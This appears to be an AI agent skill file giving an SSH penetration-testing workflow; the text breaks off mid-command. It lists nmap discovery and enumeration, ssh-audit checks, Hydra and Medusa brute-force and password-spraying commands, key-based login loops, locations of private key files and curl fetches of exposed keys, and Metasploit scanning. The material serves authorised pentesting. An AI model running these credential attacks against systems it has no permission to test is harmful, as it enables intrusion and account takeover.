| name | ssh-penetration-testing |
| description | This skill should be used when the user asks to "pentest SSH services", "enumerate SSH configurations", "brute force SSH credentials", "exploit SSH vulnerabilities", "perform SSH tu... |
| category | Security & Systems |
| source | antigravity |
| tags | ["python","ai","agent","llm","automation","workflow","document","security","pentest","vulnerability"] |
| url | https://github.com/sickn33/antigravity-awesome-skills/tree/main/skills/ssh-penetration-testing |
SSH Penetration Testing
Purpose
Conduct comprehensive SSH security assessments including enumeration, credential attacks, vulnerability exploitation, tunneling techniques, and post-exploitation activities. This skill covers the complete methodology for testing SSH service security.
Prerequisites
Required Tools
- Nmap with SSH scripts
- Hydra or Medusa for brute-forcing
- ssh-audit for configuration analysis
- Metasploit Framework
- Python with Paramiko library
Required Knowledge
- SSH protocol fundamentals
- Public/private key authentication
- Port forwarding concepts
- Linux command-line proficiency
Outputs and Deliverables
- SSH Enumeration Report - Versions, algorithms, configurations
- Credential Assessment - Weak passwords, default credentials
- Vulnerability Assessment - Known CVEs, misconfigurations
- Tunnel Documentation - Port forwarding configurations
Core Workflow
Phase 1: SSH Service Discovery
Identify SSH services on target networks:
nmap -p 22 192.168.1.0/24 --open
nmap -p 22,2222,22222,2200 192.168.1.100
nmap -p- --open 192.168.1.100 | grep -i ssh
nmap -sV -p 22 192.168.1.100
Phase 2: SSH Enumeration
Gather detailed information about SSH services:
nc 192.168.1.100 22
telnet 192.168.1.100 22
nmap -sV -p 22 --script ssh-hostkey 192.168.1.100
nmap -p 22 --script ssh2-enum-algos 192.168.1.100
nmap -p 22 --script ssh-hostkey --script-args ssh_hostkey=full 192.168.1.100
nmap -p 22 --script ssh-auth-methods --script-args="ssh.user=root" 192.168.1.100
Phase 3: SSH Configuration Auditing
Identify weak configurations:
ssh-audit 192.168.1.100
ssh-audit -p 2222 192.168.1.100
Key configuration weaknesses to identify:
- Weak key exchange algorithms (diffie-hellman-group1-sha1)
- Weak ciphers (arcfour, 3des-cbc)
- Weak MACs (hmac-md5, hmac-sha1-96)
- Deprecated protocol versions
Phase 4: Credential Attacks
Brute-Force with Hydra
hydra -l admin -P /usr/share/wordlists/rockyou.txt ssh://192.168.1.100
hydra -L users.txt -p Password123 ssh://192.168.1.100
hydra -L users.txt -P passwords.txt ssh://192.168.1.100
hydra -l admin -P passwords.txt -s 2222 ssh://192.168.1.100
hydra -l admin -P passwords.txt -t 1 -w 5 ssh://192.168.1.100
hydra -l admin -P passwords.txt -vV ssh://192.168.1.100
hydra -l admin -P passwords.txt -f ssh://192.168.1.100
Brute-Force with Medusa
medusa -h 192.168.1.100 -u admin -P passwords.txt -M ssh
medusa -H targets.txt -u admin -P passwords.txt -M ssh
medusa -h 192.168.1.100 -U users.txt -P passwords.txt -M ssh
medusa -h 192.168.1.100 -u admin -P passwords.txt -M ssh -n 2222
Password Spraying
hydra -L users.txt -p Summer2024! ssh://192.168.1.100
for pass in "Password123" "Welcome1" "Summer2024!"; do
hydra -L users.txt -p "$pass" ssh://192.168.1.100
done
Phase 5: Key-Based Authentication Testing
Test for weak or exposed keys:
ssh -i id_rsa user@192.168.1.100
ssh -o IdentitiesOnly=yes -i id_rsa user@192.168.1.100
ssh -o PreferredAuthentications=password user@192.168.1.100
for key in id_rsa id_dsa id_ecdsa id_ed25519; do
ssh -i "$key" user@192.168.1.100
done
Check for exposed keys:
~/.ssh/id_rsa
~/.ssh/id_dsa
~/.ssh/id_ecdsa
~/.ssh/id_ed25519
/etc/ssh/ssh_host_*_key
/root/.ssh/
/home/*/.ssh/
curl -s http://target.com/.ssh/id_rsa
curl -s http://target.com/id_rsa
curl -s http://target.com/backup/ssh_keys.tar.gz
Phase 6: Vulnerability Exploitation
Search for known vulnerabilities:
searchsploit openssh
searchsploit openssh 7.2
msfconsole
use auxiliary/scanner/ssh/ssh_version
set RHOSTS 192.168.1.100
run
use auxiliary/scanne